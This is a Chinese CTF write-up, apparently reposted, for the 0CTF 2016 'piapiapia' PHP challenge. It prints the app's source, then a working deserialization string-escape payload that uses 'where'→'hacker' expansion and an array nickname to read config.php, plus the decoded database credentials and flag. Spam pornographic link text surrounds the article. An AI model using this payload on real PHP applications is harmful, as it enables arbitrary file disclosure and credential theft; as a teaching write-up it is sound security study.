国产片侵犯亲女视频播放_亚洲精品二区_在线免费国产视频_欧美精品一区二区三区在线_少妇久久久_在线观看av不卡

服務器之家:專注于服務器技術及軟件下載分享
分類導航

PHP教程|ASP.NET教程|Java教程|ASP教程|編程技術|正則表達式|C/C++|IOS|C#|Swift|Android|VB|R語言|JavaScript|易語言|vb.net|

服務器之家 - 編程語言 - PHP教程 - php反序列化長度變化尾部字符串逃逸(0CTF-2016-piapiapia)

php反序列化長度變化尾部字符串逃逸(0CTF-2016-piapiapia)

2020-06-30 12:26Sea_Sand息禪 PHP教程

這篇文章主要介紹了0CTF-2016-piapiapia(php反序列化長度變化尾部字符串逃逸),本文給大家介紹的非常詳細,具有一定的參考借鑒價值,需要的朋友可以參考下

一個很可愛的登錄界面:

php反序列化長度變化尾部字符串逃逸(0CTF-2016-piapiapia)

進行一下目錄掃描,發現源碼泄露www.zip,把源碼給出:

index.php

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
    require_once('class.php');
    if($_SESSION['username']) {
        header('Location: profile.php');
        exit;
    }
    if($_POST['username'] && $_POST['password']) {
        $username = $_POST['username'];
        $password = $_POST['password'];
 
        if(strlen($username) < 3 or strlen($username) > 16)
            die('Invalid user name');
 
        if(strlen($password) < 3 or strlen($password) > 16)
            die('Invalid password');
 
        if($user->login($username, $password)) {
            $_SESSION['username'] = $username;
            header('Location: profile.php');
            exit;  
        }
        else {
            die('Invalid user name or password');
        }
    }
    else {
?>
<!DOCTYPE html>
<html>
<head>
 <title>Login</title>
 <link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet">
 <script src="static/jquery.min.js"></script>
 <script src="static/bootstrap.min.js"></script>
</head>
<body>
    <div class="container" style="margin-top:100px">
        <form action="index.php" method="post" class="well" style="width:220px;margin:0px auto;">
            <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
            <h3>Login</h3>
            <label>Username:</label>
            <input type="text" name="username" style="height:30px"class="span3"/>
            <label>Password:</label>
            <input type="password" name="password" style="height:30px" class="span3">
 
            <button type="submit" class="btn btn-primary">LOGIN</button>
        </form>
    </div>
</body>
</html>
<?php
    }
?>

在輸入賬號密碼之后進入了profile.php,下面是profile.php的源碼:

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
    require_once('class.php');
    if($_SESSION['username'] == null) {
        die('Login First');
    }
    $username = $_SESSION['username'];
    $profile=$user->show_profile($username);
    if($profile == null) {
        header('Location: update.php');
    }
    else {
        $profile = unserialize($profile);
        $phone = $profile['phone'];
        $email = $profile['email'];
        $nickname = $profile['nickname'];
        $photo = base64_encode(file_get_contents($profile['photo']));
?>
<!DOCTYPE html>
<html>
<head>
 <title>Profile</title>
 <link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet">
 <script src="static/jquery.min.js"></script>
 <script src="static/bootstrap.min.js"></script>
</head>
<body>
    <div class="container" style="margin-top:100px">
        <img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
        <h3>Hi <?php echo $nickname;?></h3>
        <label>Phone: <?php echo $phone;?></label>
        <label>Email: <?php echo $email;?></label>
    </div>
</body>
</html>
<?php
    }
?>

還有注冊頁面的源碼(沒有太大用),register.php:

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
    require_once('class.php');
    if($_POST['username'] && $_POST['password']) {
        $username = $_POST['username'];
        $password = $_POST['password'];
 
        if(strlen($username) < 3 or strlen($username) > 16)
            die('Invalid user name');
 
        if(strlen($password) < 3 or strlen($password) > 16)
            die('Invalid password');
        if(!$user->is_exists($username)) {
            $user->register($username, $password);
            echo 'Register OK!<a href="index.php" rel="external nofollow" >Please Login</a>';      
        }
        else {
            die('User name Already Exists');
        }
    }
    else {
?>
<!DOCTYPE html>
<html>
<head>
 <title>Login</title>
 <link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet">
 <script src="static/jquery.min.js"></script>
 <script src="static/bootstrap.min.js"></script>
</head>
<body>
    <div class="container" style="margin-top:100px">
        <form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;">
            <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
            <h3>Register</h3>
            <label>Username:</label>
            <input type="text" name="username" style="height:30px"class="span3"/>
            <label>Password:</label>
            <input type="password" name="password" style="height:30px" class="span3">
 
            <button type="submit" class="btn btn-primary">REGISTER</button>
        </form>
    </div>
</body>
</html>
<?php
    }
?>

然后是update.php:

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php
    require_once('class.php');
    if($_SESSION['username'] == null) {
        die('Login First');
    }
    if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
 
        $username = $_SESSION['username'];
        if(!preg_match('/^\d{11}$/', $_POST['phone']))
            die('Invalid phone');
 
        if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
            die('Invalid email');
        
        if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
            die('Invalid nickname');
 
        $file = $_FILES['photo'];
        if($file['size'] < 5 or $file['size'] > 1000000)
            die('Photo size error');
 
        move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
        $profile['phone'] = $_POST['phone'];
        $profile['email'] = $_POST['email'];
        $profile['nickname'] = $_POST['nickname'];
        $profile['photo'] = 'upload/' . md5($file['name']);
 
        $user->update_profile($username, serialize($profile));
        echo 'Update Profile Success!<a href="profile.php" rel="external nofollow" >Your Profile</a>';
    }
    else {
?>
<!DOCTYPE html>
<html>
<head>
 <title>UPDATE</title>
 <link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet">
 <script src="static/jquery.min.js"></script>
 <script src="static/bootstrap.min.js"></script>
</head>
<body>
    <div class="container" style="margin-top:100px">
        <form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;">
            <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
            <h3>Please Update Your Profile</h3>
            <label>Phone:</label>
            <input type="text" name="phone" style="height:30px"class="span3"/>
            <label>Email:</label>
            <input type="text" name="email" style="height:30px"class="span3"/>
            <label>Nickname:</label>
            <input type="text" name="nickname" style="height:30px" class="span3">
            <label for="file">Photo:</label>
            <input type="file" name="photo" style="height:30px"class="span3"/>
            <button type="submit" class="btn btn-primary">UPDATE</button>
        </form>
    </div>
</body>
</html>
<?php
    }
?>

核心的處理代碼,class.php:

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
<?php
require('config.php');
 
class user extends mysql{
    private $table = 'users';
 
    public function is_exists($username) {
        $username = parent::filter($username);
 
        $where = "username = '$username'";
        return parent::select($this->table, $where);
    }
    public function register($username, $password) {
        $username = parent::filter($username);
        $password = parent::filter($password);
 
        $key_list = Array('username', 'password');
        $value_list = Array($username, md5($password));
        return parent::insert($this->table, $key_list, $value_list);
    }
    public function login($username, $password) {
        $username = parent::filter($username);
        $password = parent::filter($password);
 
        $where = "username = '$username'";
        $object = parent::select($this->table, $where);
        if ($object && $object->password === md5($password)) {
            return true;
        } else {
            return false;
        }
    }
    public function show_profile($username) {
        $username = parent::filter($username);
 
        $where = "username = '$username'";
        $object = parent::select($this->table, $where);
        return $object->profile;
    }
    public function update_profile($username, $new_profile) {
        $username = parent::filter($username);
        $new_profile = parent::filter($new_profile);
 
        $where = "username = '$username'";
        return parent::update($this->table, 'profile', $new_profile, $where);
    }
    public function __tostring() {
        return __class__;
    }
}
 
class mysql {
    private $link = null;
 
    public function connect($config) {
        $this->link = mysql_connect(
            $config['hostname'],
            $config['username'],
            $config['password']
        );
        mysql_select_db($config['database']);
        mysql_query("SET sql_mode='strict_all_tables'");
 
        return $this->link;
    }
 
    public function select($table, $where, $ret = '*') {
        $sql = "SELECT $ret FROM $table WHERE $where";
        $result = mysql_query($sql, $this->link);
        return mysql_fetch_object($result);
    }
 
    public function insert($table, $key_list, $value_list) {
        $key = implode(',', $key_list);
        $value = '\'' . implode('\',\'', $value_list) . '\'';
        $sql = "INSERT INTO $table ($key) VALUES ($value)";
        return mysql_query($sql);
    }
 
    public function update($table, $key, $value, $where) {
        $sql = "UPDATE $table SET $key = '$value' WHERE $where";
        return mysql_query($sql);
    }
 
    public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);
 
        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }
    public function __tostring() {
        return __class__;
    }
}
session_start();
$user = new user();
$user->connect($config);

最后是config.php:

?
1
2
3
4
5
6
7
<?php
    $config['hostname'] = '127.0.0.1';
    $config['username'] = 'root';
    $config['password'] = '';
    $config['database'] = '';
    $flag = '';
?>

看來flag就是在config.php中了,要想辦法拿到config.php的內容了。

然后就是代碼審計了。

seay代碼審計系統也可以給點線索的:

php反序列化長度變化尾部字符串逃逸(0CTF-2016-piapiapia)

這個地方貌似有個文件讀取的地方,在profile.php中:

?
1
2
3
4
5
6
7
else {
        $profile = unserialize($profile);
        $phone = $profile['phone'];
        $email = $profile['email'];
        $nickname = $profile['nickname'];
        $photo = base64_encode(file_get_contents($profile['photo']));
?>

上面還有個反序列化unserialize,感覺有戲,如果$profile[‘photo']是config.php就可以讀取到了,可以對photo進行操作的地方在update.php,有phone、email、nickname和photo這幾個。

?
1
2
$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";s:8:"sea_sand";s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}
print_r(unserialize($profile));

結果如下:

?
1
2
3
4
5
6
7
Array
(
 [phone] => 12345678901
 [email] => ss@q.com
 [nickname] => sea_sand
 [photo] => config.php
)

可以看到反序列化之后,最后面upload這一部分就沒了,下面就是想辦法把config.php塞進去了。

從數組順序上看是和上面數組的順序一樣的,可以抓個包看下post順序,那么最有可能的就是從nickname下手了。

在設置了$profile之后,用update_profile()函數進行處理:

?
1
2
3
4
5
6
7
public function update_profile($username, $new_profile) {
        $username = parent::filter($username);
        $new_profile = parent::filter($new_profile);
 
        $where = "username = '$username'";
        return parent::update($this->table, 'profile', $new_profile, $where);
    }

進行了過濾:

?
1
2
3
4
5
6
7
8
9
public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);
 
        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }

有兩個正則過濾,帶上輸入nickname時候有一個正則,總共三個過濾的地方,首先要繞過第一個輸入時候的正則:

?
1
2
3
4
5
6
7
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
            die('Invalid nickname');
數組即可繞過:
nickname[]=
 
那么$profile就是這樣了:
$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";a:1:{i:0;s:3:"xxx"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}

后面的正則要怎么利用呢,可以看到如果我們輸入的有where,會替換成hacker,這樣的話長度就變了,序列化后的每個變量都是有長度的,那么反序列化會怎么處理呢?我們應該怎么構造呢?

數組繞過了第一個正則過濾之后,如果nickname最后面塞上";}s:5:“photo”;s:10:“config.php”;},一共是34個字符,如果利用正則替換34個where,不就可以把這34個給擠出去,后面的upload因為序列化串被我們閉合了也就沒用了:

?
1
2
3
nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
 
$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}

在where被正則匹配換成hacker之后,正好滿足長度,然后后面的"};s:5:“photo”;s:10:“config.php”;}也就不是nickname的一部分了,被反序列化的時候就會被當成photo,就可以讀取到config.php的內容了。

下面開始操作:注冊之后登陸,進入到update.php頁面,輸入信息及上傳圖片,用bp抓包把nickname改成數組即可:

php反序列化長度變化尾部字符串逃逸(0CTF-2016-piapiapia)

然后進入到profile中查看圖片信息,把base64碼解碼:

PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFnezBjdGZfMjAxNl91bnNlcmlhbGl6ZV9pc192ZXJ5X2dvb2QhfSc7Cj8+Cg==

解碼得到:

?
1
2
3
4
5
6
7
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = 'qwertyuiop';
$config['database'] = 'challenges';
$flag = 'flag{0ctf_2016_unserialize_is_very_good!}';
?>

總結

以上所述是小編給大家介紹的php反序列化長度變化尾部字符串逃逸(0CTF-2016-piapiapia),希望對大家有所幫助!

原文鏈接:https://blog.csdn.net/zz_Caleb/article/details/96777110

延伸 · 閱讀

精彩推薦
Weibo Article 1 Weibo Article 2 Weibo Article 3 Weibo Article 4 Weibo Article 5 Weibo Article 6 Weibo Article 7 Weibo Article 8 Weibo Article 9 Weibo Article 10 Weibo Article 11 Weibo Article 12 Weibo Article 13 Weibo Article 14 Weibo Article 15 Weibo Article 16 Weibo Article 17 Weibo Article 18 Weibo Article 19 Weibo Article 20 Weibo Article 21 Weibo Article 22 Weibo Article 23 Weibo Article 24 Weibo Article 25 Weibo Article 26 Weibo Article 27 Weibo Article 28 Weibo Article 29 Weibo Article 30 Weibo Article 31 Weibo Article 32 Weibo Article 33 Weibo Article 34 Weibo Article 35 Weibo Article 36 Weibo Article 37 Weibo Article 38 Weibo Article 39 Weibo Article 40
主站蜘蛛池模板: 午夜精品福利网 | 高清免费av | 狠狠艹| av最新在线 | 亚洲日本网站 | 99久久精品一区二区成人 | 亚洲九九 | 欧美成人精品一区 | 久久999| 亚洲成人播放 | 日韩国产 | 亚洲精品久 | 午夜影院网站 | 亚洲国产人午在线一二区 | 在线观看av网站永久 | 欧美欧美欧美 | 亚洲天天干 | 欧美视频二区 | 日日摸天天做天天添天天欢 | 做a视频 | 黄色福利视频 | 国产精品日韩在线观看 | 淫片在线 | 亚洲在线视频 | 刘亦菲的毛片 | 亚洲一区二区在线 | 午夜精品久久久久久 | 日韩电影一区 | 中文字幕在线观看第一页 | 日韩欧美在线观看一区二区 | 99精品国产高清在线观看 | 精品自拍视频 | 亚洲一区二区三区四区五区午夜 | 中文字幕av亚洲精品一部二部 | 日韩一区二区在线免费 | 亚洲欧美在线视频 | 一区二区三区精品视频 | 香蕉大人久久国产成人av | 日韩中文一区二区 | 欧美日本一区二区三区 | 午夜寂寞影视在线观看 |